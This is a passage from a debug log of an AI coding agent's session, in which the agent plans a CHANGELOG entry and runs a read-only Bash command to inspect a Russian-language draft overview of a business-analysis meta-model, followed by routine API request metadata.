toReadableStream],\n[2026-09-29T07:59:56.676Z] [STDOUT]   },\n[2026-09-29T07:59:56.678Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:59:56.681Z] [STDOUT] }\n[2026-09-29T07:59:56.902Z] [INFO] {\n[2026-09-29T07:59:56.902Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:59:56.902Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:56.902Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"uuid\": \"ceb9000d-4c75-4197-8383-29b5c00f4966\"\n[2026-09-29T07:59:56.902Z] [INFO] }\n[2026-09-29T07:59:58.046Z] [INFO] {\n[2026-09-29T07:59:58.046Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:59:58.046Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:58.046Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"uuid\": \"77fd59d3-bacc-4b56-a986-bb0950c6200f\"\n[2026-09-29T07:59:58.046Z] [INFO] }\n[2026-09-29T07:59:59.864Z] [INFO] {\n[2026-09-29T07:59:59.864Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"estimated_tokens\": 270,\n[2026-09-29T07:59:59.864Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.864Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"uuid\": \"49525bd5-f6df-4b7f-8a78-d258d7ae38c6\"\n[2026-09-29T07:59:59.864Z] [INFO] }\n[2026-09-29T07:59:59.880Z] [INFO] {\n[2026-09-29T07:59:59.880Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:59.880Z] [INFO]   \"message\": {\n[2026-09-29T07:59:59.880Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"content\": [\n[2026-09-29T07:59:59.880Z] [INFO]       {\n[2026-09-29T07:59:59.880Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:59:59.880Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:59:59.880Z] [INFO]         \"signature\": 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[INFO] {\n[2026-09-29T07:59:59.948Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"estimated_tokens\": 25,\n[2026-09-29T07:59:59.948Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.948Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"uuid\": \"4f36bfaf-376f-4c8b-876e-4e7ba8418886\"\n[2026-09-29T07:59:59.948Z] [INFO] }\n[2026-09-29T07:59:59.956Z] [INFO] {\n[2026-09-29T07:59:59.956Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"estimated_tokens\": 28,\n[2026-09-29T07:59:59.956Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.956Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"uuid\": 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52,\n[2026-09-29T08:00:00.039Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.039Z] [INFO]   \"uuid\": \"95596abe-41c7-4efe-b408-aa646cd37067\"\n[2026-09-29T08:00:00.039Z] [INFO] }\n[2026-09-29T08:00:00.050Z] [INFO] {\n[2026-09-29T08:00:00.050Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"estimated_tokens\": 53,\n[2026-09-29T08:00:00.050Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.050Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"uuid\": \"3e64d9fd-fbc8-4569-bb9a-087e6adbbf1a\"\n[2026-09-29T08:00:00.050Z] [INFO] }\n[2026-09-29T08:00:00.061Z] [INFO] {\n[2026-09-29T08:00:00.061Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"estimated_tokens\": 212,\n[2026-09-29T08:00:00.061Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.061Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"uuid\": \"fa8996cf-c4dd-4d0d-aca9-e34ab019c8ea\"\n[2026-09-29T08:00:00.061Z] [INFO] }\n[2026-09-29T08:00:00.069Z] [INFO] {\n[2026-09-29T08:00:00.069Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"message\": {\n[2026-09-29T08:00:00.069Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"content\": [\n[2026-09-29T08:00:00.069Z] [INFO]       {\n[2026-09-29T08:00:00.069Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:00.069Z] [INFO]         \"thinking\": \"I'll add a CHANGELOG entry matching the existing style, leave `ops/artifact-map.md` unchanged since it doesn't index project `docs/` files, and check `docs/ba-meta-model-overview.md` for overlap.\\n\\n\",\n[2026-09-29T08:00:00.069Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:00:00.069Z] [INFO]     ],\n[2026-09-29T08:00:00.069Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:00.069Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_creation_input_tokens\": 9216,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_read_input_tokens\": 67933,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:00.069Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:00.069Z] [INFO]         \"ephemeral_1h_input_tokens\": 9216\n[2026-09-29T08:00:00.069Z] [INFO]       },\n[2026-09-29T08:00:00.069Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:00.069Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:00.069Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:00.069Z] [INFO]     },\n[2026-09-29T08:00:00.069Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:00.069Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:00.069Z] [INFO]   },\n[2026-09-29T08:00:00.069Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:00.069Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"uuid\": \"2832784a-3ae1-4e9f-b82f-5fdf528f94be\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:59.906Z\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"request_id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T08:00:00.069Z] [INFO]     0\n[2026-09-29T08:00:00.069Z] [INFO]   ]\n[2026-09-29T08:00:00.069Z] [INFO] }\n[2026-09-29T08:00:00.499Z] [INFO] {\n[2026-09-29T08:00:00.499Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"message\": {\n[2026-09-29T08:00:00.499Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"content\": [\n[2026-09-29T08:00:00.499Z] [INFO]       {\n[2026-09-29T08:00:00.499Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"id\": \"toolu_016w14bSHfNfQhUiLJ6pbjvY\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"input\": {\n[2026-09-29T08:00:00.499Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -12 docs/ba-meta-model-overview.md; wc -l docs/ba-meta-model-overview.md; grep -n '^#' docs/ba-meta-model-overview.md | head -20; cat /tmp/tep.log 2>/dev/null | tail -3\",\n[2026-09-29T08:00:00.499Z] [INFO]           \"description\": \"Inspect existing meta-model overview document\"\n[2026-09-29T08:00:00.499Z] [INFO]         },\n[2026-09-29T08:00:00.499Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:00.499Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:00.499Z] [INFO]         }\n[2026-09-29T08:00:00.499Z] [INFO]       }\n[2026-09-29T08:00:00.499Z] [INFO]     ],\n[2026-09-29T08:00:00.499Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:00.499Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_creation_input_tokens\": 9216,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_read_input_tokens\": 67933,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:00.499Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:00.499Z] [INFO]         \"ephemeral_1h_input_tokens\": 9216\n[2026-09-29T08:00:00.499Z] [INFO]       },\n[2026-09-29T08:00:00.499Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:00.499Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:00.499Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:00.499Z] [INFO]     },\n[2026-09-29T08:00:00.499Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:00.499Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:00.499Z] [INFO]   },\n[2026-09-29T08:00:00.499Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:00.499Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"uuid\": \"bade5a4b-2b8e-4f48-abeb-a1c3d9f6706e\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:00.446Z\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"request_id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:00.499Z] [INFO]     \"toolu_016w14bSHfNfQhUiLJ6pbjvY\": {\n[2026-09-29T08:00:00.499Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -12 docs/ba-meta-model-overview.md; wc -l docs/ba-meta-model-overview.md; grep -n '^#' docs/ba-meta-model-overview.md | head -20; cat /tmp/tep.log 2>/dev/null | tail -3\",\n[2026-09-29T08:00:00.499Z] [INFO]       \"description\": \"Inspect existing meta-model overview document\"\n[2026-09-29T08:00:00.499Z] [INFO]     }\n[2026-09-29T08:00:00.499Z] [INFO]   }\n[2026-09-29T08:00:00.499Z] [INFO] }\n[2026-09-29T08:00:03.445Z] [INFO] {\n[2026-09-29T08:00:03.445Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"message\": {\n[2026-09-29T08:00:03.445Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"content\": [\n[2026-09-29T08:00:03.445Z] [INFO]       {\n[2026-09-29T08:00:03.445Z] [INFO]         \"tool_use_id\": \"toolu_016w14bSHfNfQhUiLJ6pbjvY\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-09\\ntemperature: 0.3\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n\\n> \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438\\n> \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u042d\u0442\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439\\n> \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a. \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n288 docs/ba-meta-model-overview.md\\n8:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n15:## 1. Executive Summary\\n32:## 2. \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\\n52:## 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c\\n89:## 4. \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n105:## 5. Artifact Production Model\\n138:## 6. Orchestration Model\\n164:## 7. AI Execution Model\\n182:## 8. GigaCode Mapping\\n202:## 9. Evidence Map\\n217:## 10. \u0418\u0442\u043e\u0433 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n239:## 11. \u0427\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e\\n253:## 12. \u041f\u0435\u0440\u0432\u044b\u0439 MVP\\n283:## \u041e\u0442\u0432\u0435\u0442 \u0441\u043a\u0435\u043f\u0442\u0438\u043a\u0443 \u043e\u0434\u043d\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:03.445Z] [INFO]       }\n[2026-09-29T08:00:03.445Z] [INFO]     ]\n[2026-09-29T08:00:03.445Z] [INFO]   },\n[2026-09-29T08:00:03.445Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:03.445Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"uuid\": \"c9924768-a787-4aea-8ae5-47902d2cd349\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:03.364Z\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:03.445Z] [INFO]     \"stdout\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-09\\ntemperature: 0.3\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n\\n> \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438\\n> \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u042d\u0442\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439\\n> \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a. \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n288 docs/ba-meta-model-overview.md\\n8:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n15:## 1. Executive Summary\\n32:## 2. \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\\n52:## 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c\\n89:## 4. \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n105:## 5. Artifact Production Model\\n138:## 6. Orchestration Model\\n164:## 7. AI Execution Model\\n182:## 8. GigaCode Mapping\\n202:## 9. Evidence Map\\n217:## 10. \u0418\u0442\u043e\u0433 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n239:## 11. \u0427\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e\\n253:## 12. \u041f\u0435\u0440\u0432\u044b\u0439 MVP\\n283:## \u041e\u0442\u0432\u0435\u0442 \u0441\u043a\u0435\u043f\u0442\u0438\u043a\u0443 \u043e\u0434\u043d\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:03.445Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:03.445Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:00:03.445Z] [INFO]   }\n[2026-09-29T08:00:03.445Z] [INFO] }\n[2026-09-29T08:00:04.206Z] [STDOUT] [log_d3a2a0] sending request {\n[2026-09-29T08:00:04.212Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:00:04.220Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:04.224Z] [STDOUT]   options: {\n[2026-09-29T08:00:04.234Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:00:04.239Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:00:04.261Z] [STDOUT]     body: {\n[2026-09-29T08:00:04.264Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:04.272Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:04.278Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:04.282Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:04.287Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:04.315Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:04.326Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:04.334Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:04.341Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:04.345Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:04.352Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:04.357Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:04.364Z] [STDOUT]     },\n[2026-09-29T08:00:04.371Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:04.378Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:04.380Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:04.387Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:04.394Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:04.403Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:04.406Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:04.410Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:04.415Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:04.460Z] [STDOUT]     },\n[2026-09-29T08:00:04.477Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:04.484Z] [STDOUT]   },\n[2026-09-29T08:00:04.489Z] [STDOUT]   headers: {\n[2026-09-29T08:00:04.495Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:04.514Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:04.543Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:04.548Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:04.569Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:04.571Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:04.574Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:04.578Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:00:04.584Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:00:04.587Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2505\",\n[2026-09-29T08:00:04.588Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:00:04.592Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:00:04.594Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:04.597Z] [STDOUT]     \"x-client-request-id\": \"4f234acd-07d2-43a2-9e90-ee9e86286b0a\",\n[2026-09-29T08:00:04.602Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:00:04.606Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:00:04.608Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:00:04.610Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:00:04.612Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:04.616Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:04.618Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:04.624Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:04.630Z] [STDOUT]   },\n[2026-09-29T08:00:04.633Z] [STDOUT] }\n[2026-09-29T08:00:05.433Z] [STDOUT] [log_d3a2a0, request-id: \"req_011CfXNsasnVdVAcuH3e8H25\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1226ms\n[2026-09-29T08:00:05.440Z] [STDOUT] [log_d3a2a0] response start {\n[2026-09-29T08:00:05.448Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:05.457Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:05.465Z] [STDOUT]   headers: 